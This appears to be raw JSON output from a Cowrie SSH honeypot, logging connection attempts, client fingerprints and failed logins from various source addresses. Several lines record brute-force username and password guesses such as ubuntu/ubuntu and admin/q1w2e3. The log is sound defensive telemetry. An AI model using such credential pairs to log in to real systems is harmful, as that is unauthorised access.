{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.088251Z","src_ip":"148.216.28.11","session":"e5e3195c169e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41256,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf9dc57ed2c2","protocol":"ssh","message":"New connection: 159.203.92.129:41256 (159.203.135.109:22) [session: bf9dc57ed2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.245182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.250066Z","src_ip":"159.203.92.129","session":"bf9dc57ed2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.256139Z","src_ip":"159.203.92.129","session":"bf9dc57ed2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app01","password":"app01","message":"login attempt [app01/app01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.268358Z","src_ip":"159.203.92.129","session":"bf9dc57ed2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"admin123","message":"login attempt [testing/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:30.404821Z","src_ip":"148.216.28.11","session":"e5e3195c169e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx","message":"login attempt [ubuntu/qazwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:31.022868Z","src_ip":"210.79.142.221","session":"b093064c3c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:31.274226Z","src_ip":"159.203.92.129","session":"bf9dc57ed2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:31.472823Z","src_ip":"148.216.28.11","session":"e5e3195c169e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:31.550238Z","src_ip":"122.168.114.167","session":"138839ccc336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:31.554034Z","src_ip":"122.168.114.167","session":"138839ccc336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:32.270357Z","src_ip":"210.79.142.221","session":"b093064c3c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:43.663641Z","src_ip":"122.168.114.167","session":"138839ccc336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:47.753454Z","src_ip":"122.168.114.167","session":"138839ccc336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":45764,"dst_ip":"159.203.135.109","dst_port":22,"session":"3318a2a5c3c3","protocol":"ssh","message":"New connection: 2.203.183.35:45764 (159.203.135.109:22) [session: 3318a2a5c3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:53.360000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:53.364998Z","src_ip":"2.203.183.35","session":"3318a2a5c3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:53.535597Z","src_ip":"2.203.183.35","session":"3318a2a5c3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"12","message":"login attempt [gitlab/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:54.104964Z","src_ip":"2.203.183.35","session":"3318a2a5c3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:36:55.216838Z","src_ip":"2.203.183.35","session":"3318a2a5c3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53382,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5ce9e90e20","protocol":"ssh","message":"New connection: 2.57.122.238:53382 (10.17.0.5:22) [session: 1f5ce9e90e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:03.758149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:03.764671Z","src_ip":"2.57.122.238","session":"1f5ce9e90e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:03.870916Z","src_ip":"2.57.122.238","session":"1f5ce9e90e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:04.186283Z","src_ip":"2.57.122.238","session":"1f5ce9e90e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:05.294414Z","src_ip":"2.57.122.238","session":"1f5ce9e90e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48942,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d94c9955d59","protocol":"ssh","message":"New connection: 122.168.114.167:48942 (159.203.135.109:22) [session: 9d94c9955d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:07.700689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:10.564065Z","src_ip":"122.168.114.167","session":"9d94c9955d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:10.568858Z","src_ip":"122.168.114.167","session":"9d94c9955d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":51938,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f8b4890e38","protocol":"ssh","message":"New connection: 148.216.28.11:51938 (159.203.135.109:22) [session: 58f8b4890e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:13.503854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:13.508328Z","src_ip":"148.216.28.11","session":"58f8b4890e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:13.572323Z","src_ip":"148.216.28.11","session":"58f8b4890e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3","message":"login attempt [admin/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:13.859709Z","src_ip":"148.216.28.11","session":"58f8b4890e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:14.927273Z","src_ip":"148.216.28.11","session":"58f8b4890e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46298,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9f61e003e63","protocol":"ssh","message":"New connection: 159.203.92.129:46298 (159.203.135.109:22) [session: e9f61e003e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:15.312963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:15.318003Z","src_ip":"159.203.92.129","session":"e9f61e003e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:15.324798Z","src_ip":"159.203.92.129","session":"e9f61e003e63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app1","password":"123","message":"login attempt [app1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:15.337583Z","src_ip":"159.203.92.129","session":"e9f61e003e63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:16.344470Z","src_ip":"159.203.92.129","session":"e9f61e003e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":38002,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a0414dec2ec","protocol":"ssh","message":"New connection: 69.6.221.248:38002 (159.203.135.109:22) [session: 9a0414dec2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:20.465693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:20.469702Z","src_ip":"69.6.221.248","session":"9a0414dec2ec","protocol":"ssh"}
